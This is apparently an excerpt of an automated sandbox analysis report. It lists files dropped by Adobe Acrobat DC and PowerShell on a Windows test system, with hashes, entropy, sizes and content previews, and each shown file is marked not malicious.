MD5:	97A502EE962477C142C7CC504B962C39
SHA1:	2D2CC85C1E2EF49F24A806C188995B05B0E66CB8
SHA-256:	54AE13266B653066B8BDDE2F8926EFC30749D79B8701B44EAAD801E7B7A9E41F
SHA-512:	0F0499AD41D4C6EEF4B5B1D6613B5721AE9740AF684E0F8904A9C262BA47181A730F506CF77EC4799B3597127F60E1BACCF4E69617D08C5D17E4B78F87B2D46C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.268168986305691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfzdPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGb8Ukee9
MD5:	8865483B77BFB8FA5C3BE8EA70A5DA78
SHA1:	D34A01EF5FFBA968E78E3366836B76FF1EED824D
SHA-256:	D9E8162D2D6223B45B9DB3EFD34AB6AD926A9071AF7FB237E6BB1DC819286416
SHA-512:	C6CF4969F241F30EBC8D46A516A2962FBE3E269D3B1190919DC745FDBA62DE4C2242941CCC14A77932820CC1C79069BCF1DCE981F2BE749F326772E2CE85E7AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24745604661873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfYdPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGg8Ukee9
MD5:	B73963B0F06A3E980D7A611A8894513E
SHA1:	DC4ECC19D98893AFF6266B10AA896AADD8C378D5
SHA-256:	2079176F852DD8513D5DE1CE10390AE23A78776475144BBBB021453034D205A6
SHA-512:	5D5D8F51D22302DC0A158E62BED12329943A520085EF75000CA37AD02981B20D777A6766573748968A58835918AEB80E173375D4DEAFA662F69AFF4BF5917859
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.23343019082948
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJf+dPeUkwRe9:YvXKXFqv/SK7fcUTbd8OG28Ukee9
MD5:	00534D697E42DADC9EA856C8A9BC3768
SHA1:	003C9CCFD3247F4D3A7D07E995A299DA24C1E766
SHA-256:	3560E0F30AA4712C24AC7941A41A64CB2BCDD5B857E9640DFB6ED443F04C3FFF
SHA-512:	C870F09926D5B35ADD8B1097BAE827DEB32884E4747FA5F7CF6B816E727DEDE2B33DE63188C9F6861D673954CCEB13FBF20872E5B19B6855B81AA5846F162B22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.231364271119955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfbPtdPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGDV8Ukee9
MD5:	1FD4E7D763C6D4E22D9E67A1DE6E31A3
SHA1:	51AB003566F5DDC6F606D20A375F2B51D8C661DC
SHA-256:	DD08C9D890E5BACD4A8E3A526B03FBA876011324F628545AD644A79B821EC9FF
SHA-512:	6034653DBDE8FCB429D537F2EC05848CBA596A1BFB17F5B4CACD8FB781E865A7DBC6EB3B09470081AB1E0A9E173106EAEFB2A21302CBBE56500CC2913966CF3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2337039240412
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJf21rPeUkwRe9:YvXKXFqv/SK7fcUTbd8OG+16Ukee9
MD5:	B71934DBAC08474D57DC8AAD1112C5B1
SHA1:	1C810EC45E3DAB5C5D17F675682C591E9B093163
SHA-256:	3D99DA655A0763A9C25B35DE266DBE0343D8E85803E6CED2616388EDFBE7E327
SHA-512:	2CD1AB3938C8BB4A4F7BA1F20381D2E6B6411ABAC623B622B29957AA2A291D38BFE30594F032C47BA18863C7A55D87A70F6A4D707949C8778727ECEC0DDA9BBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.64870806778099
Encrypted:	false
SSDEEP:	24:Yv6Xg7UUXqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSBx:YvwwkBgkDMUJUAh8cvMP
MD5:	7EF55892A5F6A3D7D907410DAB5195A6
SHA1:	66922300A04175237D5DBCBA489812FBE179DF0E
SHA-256:	FEF4958AEEEB6A8B4070D6EA7A58DF7F19F1FCBE36081B03591D2D4EA6A45B70
SHA-512:	A30799747699B2A5447E5E69FD7FD73DB5E3508F91D70C6E18DEA0722D5E9DD8374C125486A8259CC5D8ADD05F9CF3C3F0C71FC63022951F104FC1E62B69EF7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.208448448381939
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfshHHrPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGUUUkee9
MD5:	C6EE4B7EA2B53D6637A9B075210D19A3
SHA1:	A781B93BA4E66D872CFB1548485F5FBB18E7DF14
SHA-256:	452BBAF4FA12DEAC54FAF551839CFC33F5CCF1947A72F17352784A6DDB078631
SHA-512:	4BAEF8F71FF43511451390166598B6276120A5A4D36BBFE745D3B79FB1F08785EE47BACB77B2F0FA294C0D25A669153C21E99A01D15B2F4D938F25B4CFEBC848
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.213842027787207
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJTqgFCrPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGTq16Ukee9
MD5:	D5270418B99694BB724D199E884CA9A5
SHA1:	43855EC2E19D28DA683D87CA75FD84B3FAA1851F
SHA-256:	FAF7729127DFC918EE5560D5559C436A1E2796BC386547904A97FF5F47CAB1E3
SHA-512:	1975E0D8F170CFBB6CD9A259F88A34F8AB70F26550864B20E777CC5A2D0174F19E0C97A2F781C719FA4E012209923414C0B66EE9528139D324034CD25D954F91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146717169135844
Encrypted:	false
SSDEEP:	24:YVTEYraElayAwYvr0mpk3GptRBjLUW2ktj9j0SbnOZv2Y+U2LSlCx04KiyibA5dH:YlEnZrdk2ptMWPRvORB+UDR4Ki98R9SI
MD5:	841E938FED743175A5E857478666C3CA
SHA1:	608DC81D44F38994AD9A025BCB57C78D2DE99FD7
SHA-256:	2EB4CB127FDA74551CAAC8D129F99C5738BBF5E402CC4E2FD991C6FBAFCE3ED6
SHA-512:	F057D2FB417C75E7AB33A6C839C4E3A9579B0F494AEBFCA0E2F0793D8526B7086BCD801D0DB0F8D48B32E3316B79D205812DD979ABAFAD47801063092C349440
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7c11ccf8cca3a435f2b331874813fda3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558308000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f7071c31f23fe366aeb2c70f85c12a0d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558308000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bf96c6dc8b7736327c8ee27d9a5bfd94","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558308000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0f5ae1d7df2aa821a3364f53d99adfcc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558308000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a464789041fa779c2544b940f62816ea","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558308000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7321ebc31112ccf2b15fbaf552c12c0b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3205224180400477
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YKY+EXSqXle:TGufl2GL7msUKB0M0+Tb608YSrp
MD5:	1421C4F43F8433DE8B4361F78AA93F58
SHA1:	A7A46FB8C04B12D207452A81B2DC49B6C52A94E0
SHA-256:	191F46FCD9F365D1800B886A9B2169ADC3886D8E90C26B96F86E376FA5D4629C
SHA-512:	9AD0C4A4736E2C042386DD8CBED2488D614EC29136526F504B1673076147BB3EFB2CD603C7ECFC2EA6946078ACAA8101109BF32CEF7F2646E243C9DFC08BD92D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7840150753958066
Encrypted:	false
SSDEEP:	24:7+t4l3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YKY/EXSqXlyGKaitqLhx/XYKQvN:7MWKB0M0+Tb608YrrGK5qFl2GL7msi
MD5:	2121C3DA1C9FB7DF59275375ED6FE361
SHA1:	8A81BA58CBB6EA913D7EE739F37DB9EF717F06BA
SHA-256:	4F90AF706371DFAA852198146FC5B4FF374B7CC580495B7453E2BEC1F9961B0C
SHA-512:	68452421DC4ADD68BBF161AAA16329E6E85472DB6A507BC5607CD4DC5221B1D298DDCB0B2DA09DF5DD90452160FE2C27D382CB6EB2E490F4E609E6574EC2B3DD
Malicious:	false
Preview:	.... .c......\...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglAQNXFZU/538iajGB7CX1nqsYyu:6a6TZ44ADElAQjm/538iaesK
MD5:	B2881C593A0BCF007038C3A3E0467678
SHA1:	4F1F1D40F28026C8F8DC53F0101499353B02A497
SHA-256:	E4D6AE37753ACCD9E51D93CEA78211311FC4DC8F38ADBBD258D117D4AF18E62D
SHA-512:	34086C53E8C932FCF442CFF5D83BA0BCF43E7310A7AF9786DBF2541BDC7EC813FBA82818C79CA7B8C4DB60EDB96B32002A57D0CC56676B8AC067F470A319D867
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIda69e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClVlPwlYH:Qw946cPbiOxDlbYnuRK+bG4lYH
MD5:	E4F8389350B7A3ABD0BE70F7FBCBBD67
SHA1:	241407A0F707AA6F8E191E6F3442DA668276909B
SHA-256:	60DE451D3D24C71F61032D022519E350A619E4A4E61F11A520ABDE2F06693047
SHA-512:	BA53779814FBDDE0D2BFE8B6FF6E5701D7EAE47D2E4FFA7C151E2634F6651823602C1229F49F0DD516B989BAB79C45ACA70AE5A8262A48B9CD05840FD8C4654F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.8.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jc2r5gx5.lvh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z14tj4c4.t1c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-18-22-749.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.389630461486879
Encrypted:	false
SSDEEP:	384:/EYJJZMI2wD7qzTY76EOvB2M8vEgZoU7xquqkhlhEINXBWhcq3Q0q7q3WzNVFgA9:rpP
MD5:	D5794F37C74AC7457A0E979000628471
SHA1:	6065A55318BB7AC1B45F6EF0509278553C9D91C6
SHA-256:	FF005E0E65318EB452086B05C36DC75EF5CC916B297F12B662B4A9102B735E4F
SHA-512:	44BD55A5E2F0B408567AAC0851DA8480561B23B6E2E29E6B8069AD35168E009E74BCAC2B928070C7C89166910741E7B138E17F5C60C695196F7BF35457C76251
Malicious:	false
Preview:	SessionID=61b64d5b-3324-4c1b-99b8-6979e9fdfa70.1736558302775 Timestamp=2025-01-10T20:18:22:775-0500 ThreadID=8168 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=61b64d5b-3324-4c1b-99b8-6979e9fdfa70.1736558302775 Timestamp=2025-01-10T20:18:22:792-0500 ThreadID=8168 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=61b64d5b-3324-4c1b-99b8-6979e9fdfa70.1736558302775 Timestamp=2025-01-10T20:18:22:792-0500 ThreadID=8168 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=61b64d5b-3324-4c1b-99b8-6979e9fdfa70.1736558302775 Timestamp=2025-01-10T20:18:22:792-0500 ThreadID=8168 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=61b64d5b-3324-4c1b-99b8-6979e9fdfa70.1736558302775 Timestamp=2025-01-10T20:18:22:793-0500 ThreadID=8168 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400030767370316
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmb:EGvIcNYdRN/0
MD5:	A8E69ED2BFB17C05D1924950A300F46C
SHA1:	5198E97A7EFB806D5B11E24CA736CC6FB8016AF3
SHA-256:	9E34606E439883D22D814D3A17ECD810AB9905B5181E10A52418DD34A662E3B6
SHA-512:	EA114A897D0F045A49D4F82960B7164291EF8D6A581ECEE186882F2574791586411245B85F380D0699D670D6FFF5AD1449E12EA3355DA637F42CAFEC9DC3A426
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4b52ee63-3e5d-4be2-b9f7-17f0d66f1147.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
